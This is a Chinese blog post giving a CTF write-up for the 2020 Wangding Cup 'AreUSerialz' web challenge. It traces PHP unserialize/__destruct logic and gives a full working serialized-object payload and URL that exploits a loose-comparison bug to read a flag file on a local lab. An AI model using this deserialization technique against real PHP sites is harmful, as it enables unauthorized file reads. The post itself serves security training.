获取 2020-网鼎杯-青龙组-Web-AreUSerialz 最终的flag

打开链接访问前台,用7ksan或御剑扫描,获得新链接,下载ctf.zip,解压获得NewFlag.php和ctf2.php两个文件。
先找入口,找到ctf2.php的最后一段为入口:
// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); // __wakeup
    }
} // __destruct
?>
想到有魔术方法wakeup,查询一下发现没有,但一定有魔术方法destruct,找到它:
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
然后找到process:
    // 这个是重点2 【1就写    2就读(目的:让代码读取我的需求)】
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
发现读的时候能拿到flag:
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = NewFlag::getFlag($this->filename);
        }
        return $res;
    }
所以修改成 public 修饰符:

在链接
https://www.jyshare.com/compile/1/
里打开运行,获得:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}
phpstudy切换版本为最新版,打开链接:
127.0.0.1/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}
获得flag:
?>[Result]:
flag:{this is flag}

posted on 2026-02-01 18:31  安吉博  阅读(0)  评论(0)    收藏  举报

导航